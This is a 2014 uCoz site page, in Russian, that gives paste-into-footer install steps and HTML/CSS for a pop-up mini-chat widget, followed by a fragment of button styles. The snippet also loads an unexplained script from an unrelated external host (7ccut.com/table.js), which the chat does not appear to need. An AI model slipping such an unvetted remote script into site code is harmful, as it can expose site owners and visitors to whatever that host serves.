Какой бан по вашему мнению лучший?
Всего ответов: 444

Онлайн всего: 2
Гостей: 2
Пользователей: 0
Главная » 2014 » Январь » 20 » Всплывающий мини-чат скрипт для uCoz
15:11
Всплывающий мини-чат скрипт для uCoz
Мини-чат скрипт для uCoz, который установить можно за 1 минуту, так же этот скрипт подойдёт на любой сайт с любой тематикой и впишется в любой, даже самый капризный дизайн! Что делает скрипт? Он устанавливает мини чат в самый низ в правую сторону сайта и при нажатие на картинку ЧАТ , появится окошки с чатом! Теперь пользователи могут общаться там, но в тоже время он не будет мoзолить глаза тем, кому он вовсе не нужен. Устанавливаем:

Установка:

#1 заходим на сайт и в админ панель
#2 Открываем Дизайн - Управление Дизайном Сайта
#3 Переходим в GLOBAL_BFOOTER или просто Нижнюю часть сайта
#4 Устанавливаем код в самый низ сайта и ГОТОВО!

Код
<style>  
  .chat_box {display:none;position:fixed;bottom:15px;right:15px;border:1px solid #dddddd;background:#fbfbfb;padding:4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:2px 2px 3px #9b9b9b;-webkit-box-shadow:2px 2px 3px #9b9b9b;box-shadow:2px 2px 3px #9b9b9b;}  
  .chat_box div.close {display:block;position:absolute;right:0;top:0;background:url('http://pnghosts.ru/img/chat_box_closeprofil.png') no-repeat;width:16px;height:16px;opacity:0.6;-moz-opacity:0.6;filter:alpha(opacity=60);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);}  
.chat_box div.close:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}  
   
  div.chat_button {display:block;width:75px;height:75px;background:url('http://pnghosts.ru/img/chat_button_prifil.png') no-repeat;position:fixed;bottom:15px;right:15px;opacity:0.8;-moz-opacity:0.8;filter:alpha(opacity=80);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}  
div.chat_button:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}  
</style> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="chat_button" onclick="$('.chat_button').fadeOut('fast');$('.chat_box').slideToggle('slow');"></div>  
<div class="chat_box"><div class="close" onclick="$('.chat_box').slideToggle('fast');$('.chat_button').fadeIn('slow');"></div>  
<div id="chatBox">$CHAT_BOX$</div>  
</div>
Просмотров: 537 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
d: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #fff; text-decoration:none; text-align:center; cursor:pointer; margin: 10px; -webkit-box-shadow: 0px 1px 5px #222; -moz-box-shadow: 0px 1px 5px #222; box-shadow: 0px 1px 5px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} #kno:hover {text-decoration:none; background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #ffb400; color: #fff; text-decoration:none; cursor:pointer; text-align:center; margin: 10px; -webkit-box-shadow: 0px 0px 4px #222; -moz-box-shadow: 0px 0px 4px #222; box-shadow: 0px 0px 4px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} /*стиль кнопок форума*/ input[type~="submit"],input[type~="button"],input[type~="reset"] {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} input[type~="submit"]:hover,input[type~="button"]:hover,input[type~="reset"]:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none}
Создать бесплатный сайт с uCoz